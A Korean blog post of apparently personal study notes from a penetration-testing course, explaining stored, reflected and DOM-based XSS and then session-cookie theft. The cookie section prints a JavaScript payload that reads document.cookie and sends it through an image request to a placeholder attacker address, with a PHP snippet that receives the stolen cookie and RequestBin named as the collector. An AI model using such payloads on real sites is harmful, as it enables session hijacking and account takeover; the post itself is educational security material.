Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””/๋ชจ์˜ ํ•ดํ‚น - ๊ธฐ๋ก์ผ์ง€

[๊ธฐ๋ก์ผ์ง€] ๐Ÿ“š 10์ฃผ์ฐจ (XSS - DOM Based/Cookie ํƒˆ์ทจ)

Gearvirus(junyup2) 2023. 12. 27. 23:11

์•ž์„œ ์ •๋ฆฌํ•œ XSS

XSS๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ์Šคํฌ๋ฆฝํŠธ ์‚ฝ์ž… ๊ณต๊ฒฉ์œผ๋กœ์„œ ์›น ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์Šคํฌ๋ฆฝํŠธ์ธ Javascript๊ฐ€ ๋Œ€ํ‘œ์ ์œผ๋กœ ๊ณต๊ฒฉ์— ์ด์šฉ๋œ๋‹ค.

์‹คํ–‰์œ„์น˜๋Š” ํ”ผํ•ด์ž(์ด์šฉ์ž)์˜ ์›น ๋ธŒ๋ผ์šฐ์ €์ด๋‹ค.

์›น ๋ธŒ๋ผ์šฐ์ €๋Š” ์‹คํ–‰ ์‹œ์— ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ(Javascript) ํƒœ๊ทธ(Tag)๋ฅผ ์ฐพ์•„์„œ ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•œ๋‹ค.

<script>badCode</script>

์•…์„ฑ ์ฝ”๋“œ(badCode)๊ฐ€ ์‹คํ–‰๋˜๋Š” ๊ฒƒ์„ ์ฆ๋ช…ํ•˜๊ธฐ ์œ„ํ•ด์„œ alert(1)๊ณผ ๊ฐ™์€ POC๋ฅผ ์ด์šฉํ•˜์—ฌ ์‹คํ–‰๋œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ๋ณด์—ฌ์ค€๋‹ค.

 

Stored XSS

์„œ๋ฒ„์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ €์žฅํ•˜๊ณ  ํ•ด๋‹น ์œ„์น˜์— ์ ‘๊ทผํ•˜๋Š” ๊ฒฝ์šฐ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜์–ด ํ”ผํ•ด๋ฅผ ์ž…๋Š”๋‹ค.

์‚ฝ์ž…๋œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ถœ๋ ฅ๋˜๋Š” ํŽ˜์ด์ง€์— ํ”ผํ•ด์ž๊ฐ€ ์ง์ ‘ ์ ‘๊ทผ

ex) ๊ฒŒ์‹œํŒ์— ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•ด๋‘๊ณ , ๊ธ€ ์—ด๋žŒ์‹œ์— ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰

Reflected XSS

์„œ๋ฒ„์—์„œ ๋ฐ˜์‚ฌ๋˜๋Š” ํŠน์ง•์„ ์ด์šฉํ•œ๋‹ค.

์„œ๋ฒ„๋กœ ํŒŒ๋ผ๋ฏธํ„ฐ์—๋‹ค๊ฐ€ ์–ด๋–ค ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ธ ๊ฒฝ์šฐ, ํ•ด๋‹น ํŒŒ๋ผ๋ฏธํ„ฐ/๋ฐ์ดํ„ฐ๊ฐ€ ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌ๋˜์–ด ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋‹ค๋ฉด ์ด์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค.

ํ•ด๋‹น ์ทจ์•ฝ์ ์€ ํ•ด๋‹น ํด๋ผ์ด์–ธํŠธ์—์„œ๋งŒ ๋ฐœ์ƒ๋˜๊ธฐ ๋•Œ๋ฌธ์— ๋งํฌ์— ๋‹ด์•„์•ผํ•œ๋‹ค.

๊ทธ๋ž˜์„œ POST๋กœ๋Š” ๋ถˆ๊ฐ€๋Šฅํ•˜๊ณ  GET์„ ์ด์šฉํ•˜์—ฌ ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ๋‹ด๊ฒจ๊ฐ€์•ผํ•œ๋‹ค.

(๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์—๊ฒŒ URL์„ ์ „๋‹ฌํ•˜๊ณ , ํ”ผํ•ด์ž๋Š” ํ•ด๋‹น URL์„ ํด๋ฆญํ•ด์„œ ๊ณต๊ฒฉ์„ ๋‹นํ•œ๋‹ค.)

์‹œ๋‚˜๋ฆฌ์˜ค

์ด๊ฒƒ์„ ๊ณต๊ฒฉ์— ์–ด๋–ป๊ฒŒ ํ™œ์šฉํ•˜์ง€? ์— ๋Œ€ํ•œ ์ƒ๊ฐ์„ ํ•ด๋ณด๋ฉด์„œ ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ƒ๊ฐํ•ด๋ณด๊ณ  ์‹ค์‹œ ํ•ด๋ณด์ž.

์ทจ์•ฝ์ ์„ ์ฐพ์„ ๋•Œ, alert๋ฅผ ๋„์šฐ๊ณ  ์ƒ๊ฐ์„ ๋ฉˆ์ถ”๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๊ณ , ์ด ์ทจ์•ฝ์ ์œผ๋กœ ๋‚ด๊ฐ€ ๋ญ˜ ํ•  ์ˆ˜ ์žˆ๋Š”์ง€์— ๋Œ€ํ•˜์—ฌ ์ƒ๊ฐํ•ด๋ณด๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค.

๋‚ด๊ฐ€ ๊ณต๊ฒฉ์ž์ด์ž ํ”ผํ•ด์ž์ธ ์—ญํ• ๊ทน์„ ํ•ด๋ณด๋Š” ๊ฒƒ์ด๋‹ค.

(ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ”ผํ•ด์ž ์ปดํ“จํ„ฐ์—์„œ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š”๊ฐ€๊ฐ€ ์ค‘์š”ํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์ƒ๊ฐํ•ด์•ผ ํ•œ๋‹ค.)


DOM Based XSS

DOM์ด๋ž€ ๋ฌธ์„œ ๊ฐ์ฒด ๋ชจ๋ธ(Document Object Model)์˜ ์•ฝ์–ด๋กœ์„œ ํŽ˜์ด์ง€(= HTML ๋ฌธ์„œ)์˜ ์ „์ฒด์ ์ธ ๊ตฌ์กฐ๋ฅผ Object๋กœ ๋‚˜ํƒ€๋‚ธ ๊ตฌ์กฐ์ด๋‹ค.

ํŽ˜์ด์ง€๋Š” <html> ํƒœ๊ทธ ๋‚ด๋ถ€์— <head>, <body> ํƒœ๊ทธ(tag) ๋‚ด๋ถ€์— ์ˆ˜๋งŽ์€ ํƒœ๊ทธ๋“ค์ด ์Œ“์—ฌ์žˆ๋Š” ๊ตฌ์กฐ๋กœ ์ด๋ฃจ์–ด์ง„๋‹ค.

์œ„์™€ ๊ฐ™์ด ๋ฌธ์„œ๋ฅผ ๊ตฌ์„ฑํ•˜๋Š” ๊ฐ์ฒด(Object) ๋…ธ๋“œ(Node)๋กœ ๊ตฌ์„ฑ๋œ ํŠธ๋ฆฌ ๊ตฌ์กฐ์˜ ๋ชจ๋ธ์„ DOM์ด๋ผ๊ณ  ํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

(์ถ”ํ›„์— ์ข€ ๋” ์ž์„ธํžˆ ์ •๋ฆฌํ•˜๋„๋ก ํ•˜๊ณ  ์—ฌ๊ธฐ์„œ๋Š” ์ด๋Ÿฐ ๊ตฌ์กฐ์˜ ํ˜•ํƒœ๋ฅผ ํ•˜๊ณ  ์žˆ๊ณ  ์ด๋ฅผ ์ด์šฉํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ ๋งŒ ์ƒ๊ฐํ•˜๋ฉด ๋  ๊ฒƒ๊ฐ™๋‹ค.)

์•ž์„œ์„œ ์ •๋ฆฌํ•œ Reflected XSS์™€ ๋น„์Šทํ•˜๊ฒŒ ์ž…๋ ฅ๊ฐ’์ด ํ™”๋ฉด์ƒ์— ๋…ธ์ถœ๋˜์—ˆ์ง€๋งŒ ๋ฐ˜์‚ฌ๋˜์–ด ์‘๋‹ต์— ๋‚˜์˜ค๋Š” ๊ฒƒ์€ ์•„๋‹Œ ํ˜•ํƒœ๋ฅผ ๋„๊ณ  ์žˆ๋‹ค๋ฉด ๋ธŒ๋ผ์šฐ์ €์—์„œ ์กฐ๋ฆฝํ•˜์—ฌ ๋‚˜์˜จ ๊ฒƒ์œผ๋กœ Reflected์™€๋Š” ๋‹ค๋ฅด๋‹ค.

์œ„์—์„œ ์ •๋ฆฌํ–ˆ๋“ฏ DOM์€ ์‰ฝ๊ฒŒ ๋งํ•ด HTML ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜๋ฉด ๋˜๋Š”๋ฐ, javascript๋กœ tag๋ฅผ ๋งŒ๋“ค์–ด์„œ ์‚ฌ์šฉํ–ˆ๋“ฏ์ด javascript๋กœ javascript๋„ ๋งŒ๋“ค์–ด ๋‚ผ ์ˆ˜ ์žˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €์—์„œ ์กฐ๋ฆฝ๋˜์–ด script๋ฅผ ์‹คํ–‰ํ•œ๋‹ค๋Š” ๊ฒƒ์œผ๋กœ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋Š” ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ ๋ฐฉ์‹์ด๋‹ค. document ๊ฐ์ฒด์— ํƒœ๊ทธ๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— DOM based ๋ผ๊ณ  ํ•œ๋‹ค.

document.write = " "
innerHTML

document.write() ํ•จ์ˆ˜๋Š” ์ธ์ž๋กœ ์ฃผ์–ด์ง„ ๋ฌธ์ž์—ด์„ ํ™”๋ฉด์— ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•˜๋Š” ๊ธฐ๋Šฅ์„ ์ˆ˜ํ–‰ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ์ด ๋ง์€ HTML tag, JavaScript๋ฅผ ์ž‘์„ฑํ•˜์—ฌ ๋„ฃ์–ด์ฃผ๋Š” ๊ฒฝ์šฐ ํƒœ๊ทธ(Tag)์™€ ์Šคํฌ๋ฆฝํŠธ(script)๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์ด์ฒ˜๋Ÿผ HTML ๊ฐ์ฒด๋ฅผ ์ œ์–ดํ•˜๋Š” javascript๊ฐ€ ์ž‘์„ฑ๋˜์–ด์žˆ๋Š” ๊ฒฝ์šฐ์—๋Š” ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ๊ทธ ์•ˆ์— ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‚ฝ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๊ณ  ์ด๋ฅผ ํ™œ์šฉํ•œ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•์„ DOM Based XSS๋ผ๊ณ  ํ•œ๋‹ค.

ํŒŒ๋ผ๋ฏธํ„ฐ(Params)์— ์Šคํฌ๋ฆฝํŠธ(script)๋ฅผ ๋„ฃ์–ด ์คŒ์œผ๋กœ์จ  ํŒŒ๋ผ๋ฏธํ„ฐ ๋‚ด๋ถ€์˜ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์„œ๋ฒ„๋กœ ์ „๋‹ฌ๋˜์—ˆ๋‹ค๊ฐ€ ์„œ๋ฒ„์—์„œ ๋‹ค์‹œ ๋ธŒ๋ผ์šฐ์ €๋กœ ๋Œ์•„์˜ค๋Š” ๊ณผ์ •์—์„œ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์กฐ๋ฆฝ๋˜์–ด ํŽ˜์ด์ง€ ๋‚ด๋ถ€๋กœ ๋“ค์–ด๊ฐ€๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

DOM based XSS์˜ ๊ฒฝ์šฐ์— ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋˜๊ฒŒ ๋˜๋”๋ผ๋„ ์‘๋‹ต์—์„œ๋Š” ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ์˜ ๋‚ด์šฉ์ด ํ™•์ธ๋˜์ง€ ์•Š๋Š”๋‹ค. document.write() ํ•จ์ˆ˜๋กœ ์ถœ๋ ฅํ•˜๋Š” ๊ณผ์ •์—์„œ ์กฐ๋ฆฝ๋˜์–ด ํŽ˜์ด์ง€์˜ ๋‚ด์šฉ์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค.


XSS ์ฐพ๊ธฐ TIP

Stored๋Š” ์ €์žฅํ•˜๋Š” ๊ณณ์„ ์ž˜๋ณด๋ฉด ๋˜๊ณ 

Reflected๋Š” Burp Suite์—์„œ ๋ฐ˜์‚ฌ๋˜๋Š” ๊ฒƒ์„ ์ž˜ ํ™•์ธํ•˜๋ฉด ๋˜๊ณ 

DOM Based๋Š” HTML/Javascript Code๋ฅผ ์ž˜ ๋ด์•ผํ•œ๋‹ค.!!

(ํ•ด๋‹น ์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•˜์—ฌ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋„ฃ์–ด์•ผํ•˜๊ธฐ ๋•Œ๋ฌธ์œผ๋กœ ์–ด๋–ป๊ฒŒ ๋ณด๋ฉด Reflected์™€ ๋น„์Šทํ•˜์ง€๋งŒ ๋‹ค๋ฅด๋‹ค๋Š” ๊ฒƒ์„ ์ธ์ง€ํ•ด์•ผํ•œ๋‹ค.)

Reflected๋กœ ์˜์‹ฌ๋˜๋Š” ๊ณณ(์ž…๋ ฅ๊ฐ’์ด ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋Š”๋ฐ)์—์„œ ํŒŒ๋ผ๋ฏธํ„ฐ ๊ฐ’์„ ๋„ฃ์—ˆ๋Š”๋ฐ ๊ฐ’์ด ๋ฐ”๋กœ ์•ˆ๋‚˜์˜จ๋‹ค๋ฉด(๋ฐ˜์‚ฌ๋˜์ง€ ์•Š๋Š” ๋‹ค๋ฉด) DOM์„ ์˜์‹ฌํ•ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.

DOM์˜ ๊ฒฝ์šฐ ๋ˆˆ์— ์ž˜ ๋ณด์ด์ง€ ์•Š๊ฒŒ ๋งŒ๋“ค์–ด ์งˆ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์ž์„ธํžˆ ์ฐพ์•„๋ด์•ผํ•œ๋‹ค.

๋ˆˆ์— ์ž˜ ๋„์ง€ ์•Š์•„ ๋ฐœ๊ฒฌํ•˜๋Š” ๊ฒƒ์ด ์–ด๋ ต๊ธฐ ๋•Œ๋ฌธ์— ์˜คํžˆ๋ ค ๋งŽ์ด ๋‚จ์•„์žˆ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ƒ๊ฐ๋ณด๋‹ค ๋งŽ์ด ์ฐพ์•„๋ณผ ์ˆ˜ ์žˆ๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

Stored XSS - ์„œ๋ฒ„์— ์ €์žฅ
Reflected XSS - ๋ธŒ๋ผ์šฐ์ €์— ๋ฐ˜์‚ฌ
DOM Based XSS - ํ”ผํ•ด์ž ๋ธŒ๋ผ์šฐ์ €์—์„œ ์กฐ๋ฆฝ

Cookie ํƒˆ์ทจ

XSS๋Š” ์ž„์˜์˜ ์Šคํฌ๋ฆฝํŠธ(script)๋ฅผ ์‚ฝ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ด๋‹ค.

๊ทธ๋Ÿฌ๋ฏ€๋กœ Javascript๋ฅผ ์–ผ๋งˆ๋‚˜ ์ž˜ ์“ฐ๋ƒ์— ๋”ฐ๋ผ ๊ณต๊ฒฉ์˜ ์ˆ˜์ค€์ด ์ฒœ์ง€ ์ฐจ์ด๊ฐ€ ๋‚œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์ธ์ง€ํ•ด์•ผํ•œ๋‹ค.

(javascript์— ๋Œ€ํ•œ ๊ณต๋ถ€๋ฅผ ์ข€ ๋” ํ•ด์•ผ๊ฒ ๋‹ค.)

์šฐ์„  ์ด๋ฒˆ์—๋Š” ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ๊ณต๊ฒฉ ์Šคํฌ๋ฆฝํŠธ ์ค‘์— ์ฟ ํ‚ค(Cookie) ํƒˆ์ทจ์— ๋Œ€ํ•˜์—ฌ ์•Œ์•„๋ณผ ๊ฒƒ์ด๋‹ค.

์ฟ ํ‚ค ํƒˆ์ทจ์˜ ๊ฒฝ์šฐ (์„ธ์…˜ / ์„ธ์…˜ ID / ์ฟ ํ‚ค)์™€ ์—ฐ๊ด€์ง€์–ด ๋ฉด์ ‘์˜ ๋‹จ๊ณจ ์งˆ๋ฌธ์ด๋ผ๊ณ  ํ•œ๋‹ค.

์„ธ์…˜ ID๊ฐ€ ์ฟ ํ‚ค์— ์ €์žฅ๋œ๋‹ค๋Š” ์‚ฌ์‹ค์„ ์žŠ์–ด์„œ๋Š” ์•ˆ๋œ๋‹ค. ๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ์„ธ์…˜ ID๋ฅผ ์ฐฐ์ทจํ•˜์—ฌ ํ•ด๋‹น ์œ ์ €์ธ ์ฒ™ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

javascript๋กœ ์ฟ ํ‚ค ๊ฐ’์— ์ ‘๊ทผํ•˜์—ฌ ๊ฐ€์ ธ์˜ค๋Š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

var cookieData = document.cookie; // ์ฟ ํ‚ค์— ์ ‘๊ทผ
(์ „๋‹ฌํ•  ํ•„์š” ์—†์ด ๋ฐ›๊ธฐ๋งŒ ํ•˜๋ฉด๋˜๋ฏ€๋กœ)
// Web Request [GET]
var i = new Image(); // ์ด๋ฏธ์ง€ ํƒœ๊ทธ๋ฅผ ์ƒ์„ฑํ•œ๊ฒƒ
<img> i.src = "http://๊ณต๊ฒฉ์ž ์ฃผ์†Œ/?cookie=" + "Secret_data";

img ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•˜๊ฒŒ ๋˜๋ฉด, img๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด์„œ img ์ฃผ์†Œ์— ์š”์ฒญ์„ ๋ณด๋‚ด๊ฒŒ ๋œ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฟ ํ‚ค๊ฐ’์„ ํฌํ•จํ•˜์—ฌ ๊ณต๊ฒฉ์ž์˜ ์ฃผ์†Œ๋ฅผ img ์ฃผ์†Œ๋กœ์„œ ์ž…๋ ฅํ•˜๊ฒŒ ๋˜๋ฉด ์ฟ ํ‚ค ๊ฐ’์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

<img src = "http:// ~~~ ์ฃผ์†Œ/";>
(ํ•ด๋‹น ์ฃผ์†Œ๋กœ get ๋ฐฉ์‹์œผ๋กœ ์›น ์š”์ฒญ์„ ํ•˜๋‚˜ ๋ณด๋‚ธ๋‹ค.)
http:// ~~~ ์ฃผ์†Œ/?cookie=Secret_data
GET /?cookie=Secret_data
HOST : http:// ~~~ ์ฃผ์†Œ/

๊ทธ๋Ÿฌ๋ฏ€๋กœ ์ฟ ํ‚ค ๋ฐ์ดํ„ฐ๋ฅผ Secret data์— ๋‹ด์•„์ฃผ๋Š” ๋ฐฉ์‹์œผ๋กœ ๊ทธ๋ฆผ์„ ์š”์ฒญํ•  ์ˆ˜ ๋ฐ–์— ์—†๋Š” img ํƒœ๊ทธ๋ฅผ ํ™œ์šฉํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

src๋Š” ์ด๋ฏธ์ง€ ํŒŒ์ผ์˜ ์†์„ฑ๊ฐ’์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ์— ์†์„ฑ๊ฐ’์— ์ฃผ์†Œ๋ฅผ ๋„ฃ์–ด์ฃผ๋Š” ๊ฒƒ์ด๋‹ค.

์ด ์ฃผ์†Œ๋กœ ์›น ์š”์ฒญ์„ ํ•˜๊ฒŒ๋˜๊ณ  ์ง€์ •๋œ ์†Œ์Šค๋ฅผ ์‹คํ–‰ํ•˜๊ฒŒ ํ•œ๋‹ค. ํ•ด๋‹น ์ฃผ์†Œ์— ์ ‘๊ทผํ•˜์—ฌ ์ด๋ฏธ์ง€๋ฅผ ๊ฐ€์ ธ์™€์•ผํ•œ๋‹ค๊ณ  ์ธ์‹ํ•˜์ง€๋งŒ, ์‹ค์ œ๋กœ๋Š” ๊ณต๊ฒฉ์ž์˜ ์ปดํ“จํ„ฐ(์„œ๋ฒ„)์— ๋“ค์–ด๊ฐ€๋Š”(์ ‘์†ํ•˜๋Š”) ๊ฒƒ๊ณผ ๊ฐ™๋‹ค.

๊ฒฐ๊ตญ ํ•ด๋‹น ์ฃผ์†Œ๋ฅผ ํด๋ฆญํ•œ ๊ฒƒ๊ณผ ๊ฐ™์€ ํšจ๊ณผ๊ฐ€ ๋‚œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

์ด๋•Œ ์ฟ ํ‚ค ๋ฐ์ดํ„ฐ๋ฅผ url์— ๋„ฃ์–ด์„œ ๋ณด๋ƒ„์œผ๋กœ์„œ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋Š” ๊ฒƒ์ด๋‹ค.

<?
php $cookie = $_GET['cookie'];
echo $cookie;
?>

 

๊ณต๊ฒฉ์ž ์„œ๋ฒ„์˜ ๊ฒฝ์šฐ

VPS(๊ฐ€์ƒ ์‚ฌ์„ค ์„œ๋ฒ„ Virtual Private Server)๋ฅผ ์ง์ ‘ ๊ตฌ์ถ•ํ•ด๋„ ๋˜์ง€๋งŒ, ๋ˆ์„ ๋‚ด๊ณ  ์‚ฌ์•ผํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋‚˜์ค‘์—๋Š” ํ•„์š”๋กœํ• ์ง€ ๋ชจ๋ฅด์ง€๋งŒ, ์šฐ์„  ์ง€๊ธˆ ์—ฐ์Šตํ•  ๋•Œ์—๋Š” request bin์„ ์ด์šฉํ•˜๋„๋ก ํ•œ๋‹ค. (์–ด๋–ค ์š”์ฒญ์ด ์˜ค๋Š”์ง€๋งŒ ๋ณผ ์ˆ˜ ์žˆ์ง€๋งŒ ์—ฐ์Šต์šฉ์œผ๋กœ๋Š” ์ถฉ๋ถ„ํ•˜๋‹ค.)

https://public.requestbin.com/r/

 

RequestBin.com — A modern request bin to collect, inspect and debug HTTP requests and webhooks

 

public.requestbin.com


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜